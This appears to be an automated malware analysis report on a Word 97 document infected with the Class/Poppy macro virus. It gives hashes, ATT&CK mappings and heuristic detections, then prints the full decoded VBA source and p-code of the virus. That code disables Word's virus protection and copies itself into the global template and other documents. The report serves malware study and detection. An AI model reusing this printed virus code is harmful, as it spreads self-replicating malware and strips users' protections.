Office (OLE) malware analysis — malicious · c97f659e82179c4f

MALICIOUS

Office (OLE)

120.0 KB Created: 2000-11-07 13:03:00 Authoring application: Microsoft Word 8.0 First seen: 2014-07-06

MD5: dda3eb373a98744a03f6b3f18313b63b SHA-1: eeb78553b8f1ed19fd7c687dca59934ef15b7e56 SHA-256: c97f659e82179c4f862c3c5f22609673432863b35687aa9f7470a3a77df9973c

256 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1546.001 Event Triggered Execution: Sign of the Times T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and VBA macros, including AutoOpen and Auto_Close, indicating a malicious intent. The script explicitly disables virus protection and attempts to export its code to 'c:\class.sys', suggesting self-replication or payload delivery. The presence of legacy macro virus markers and the disabling of security features point to a classic macro-based malware.

Heuristics 6

ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-37
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
    .replaceline 1, "Sub AutoClose()"
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12984 bytes
SHA-256: `7a45beb02d9575592f1b14477a0f3ec577a58ded2b671deb18fa58e2649a7dce`
Detection ClamAV: Doc.Trojan.Class-5 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() 'Josselin07/11/00 14:03:16EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine On Error GoTo out 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine Options.VirusProtection = False 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine Options.SaveNormalPrompt = False 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine Options.ConfirmConversions = False 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine If nt > 70 And ad > 0 Then GoTo out 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine If nt < 70 Then 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine Set host = NormalTemplate.VBProject.VBComponents.Item(1) 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine End If 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1) 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy" 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine host.codemodule.AddFromFile ("c:\class.sys") 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine With host.codemodule 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine For x = 1 To 4 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine .deletelines 1 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine Next x 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine End With 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine If nt < 70 Then 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine With host.codemodule 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine .replaceline 1, "Sub AutoClose()" 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine .replaceline 71, "Sub ToolsMacro()" 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine End With 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine End If 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine With host.codemodule 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine For x = 2 To 72 Step 2 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow & Application.Assistant 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine Next x 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine End With 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine out: 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine End Sub 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine Sub ViewVBCode() 'Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine End Sub ' Processing file: /tmp/qstore_daua7nuj ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 7225 bytes ' Line #0: ' FuncDefn (Sub AutoOpen()) ' Line #1: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:16EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #2: ' OnError out ' Line #3: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #4: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #5: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #6: ' LitVarSpecial (False) ' Ld Options ' MemSt SaveNormalPrompt ' Line #7: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #8: ' LitVarSpecial (False) ' Ld Options ' MemSt ConfirmConversions ' Line #9: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #10: ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St ad ' Line #11: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #12: ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St nt ' Line #13: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #14: ' Ld nt ' LitDI2 0x0046 ' Gt ' Ld ad ' LitDI2 0x0000 ' Gt ' And ' If ' BoSImplicit ' GoTo out ' EndIf ' Line #15: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #16: ' Ld nt ' LitDI2 0x0046 ' Lt ' IfBlock ' Line #17: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #18: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set host ' Line #19: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #20: ' Ld host ' MemLd New ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemSt New ' Line #21: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #22: ' LitStr 0x000C "c:\class.sys" ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' ArgsMemCall Export 0x0001 ' Line #23: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #24: ' EndIfBlock ' Line #25: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #26: ' Ld ad ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set host ' EndIf ' Line #27: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #28: ' Ld Now ' ArgsLd Day 0x0001 ' LitDI2 0x000E ' Eq ' Ld Now ' ArgsLd Month 0x0001 ' LitDI2 0x0005 ' Gt ' Paren ' And ' If ' BoSImplicit ' LitStr 0x0008 "I Think " ' Ld Application ' MemLd UserName ' Concat ' LitStr 0x0016 " is a big stupid jerk!" ' Concat ' LitDI2 0x0000 ' LitStr 0x0021 "VicodinES Loves You / Class.Poppy" ' ArgsCall MsgBox 0x0003 ' EndIf ' Line #29: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #30: ' LitStr 0x000C "c:\class.sys" ' Paren ' Ld host ' MemLd codemodule ' ArgsMemCall AddFromFile 0x0001 ' Line #31: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #32: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #33: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #34: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0004 ' For ' Line #35: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #36: ' LitDI2 0x0001 ' ArgsMemCallWith deletelines 0x0001 ' Line #37: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #38: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #39: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #40: ' EndWith ' Line #41: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #42: ' Ld nt ' LitDI2 0x0046 ' Lt ' IfBlock ' Line #43: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #44: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #45: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #46: ' LitDI2 0x0001 ' LitStr 0x000F "Sub AutoClose()" ' ArgsMemCallWith replaceline 0x0002 ' Line #47: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #48: ' LitDI2 0x0047 ' LitStr 0x0010 "Sub ToolsMacro()" ' ArgsMemCallWith replaceline 0x0002 ' Line #49: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #50: ' EndWith ' Line #51: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #52: ' EndIfBlock ' Line #53: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #54: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #55: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #56: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0002 ' LitDI2 0x0048 ' LitDI2 0x0002 ' ForStep ' Line #57: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #58: ' Ld x ' LitStr 0x0001 "'" ' Ld Application ' MemLd UserName ' Concat ' Ld Now ' Concat ' Ld Application ' MemLd ActivePrinter ' Concat ' Ld Application ' MemLd ActiveWindow ' Concat ' Ld Application ' MemLd Assistant ' Concat ' ArgsMemCallWith replaceline 0x0002 ' Line #59: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #60: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #61: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #62: ' EndWith ' Line #63: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #64: ' Label out ' Line #65: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #66: ' Ld nt ' LitDI2 0x0046 ' Gt ' Ld ad ' LitDI2 0x0000 ' Eq ' And ' If ' BoSImplicit ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' EndIf ' Line #67: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #68: ' EndSub ' Line #69: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #70: ' FuncDefn (Sub ViewVBCode()) ' Line #71: ' QuoteRem 0x0000 0x0050 "Josselin07/11/00 14:03:17EPSON Stylus COLOR 440 on LPT1:rapport de stageTrombine" ' Line #72: ' EndSub ' Line #73: ' Line #74:

Open this report in the interactive analyzer, or submit your own file for analysis.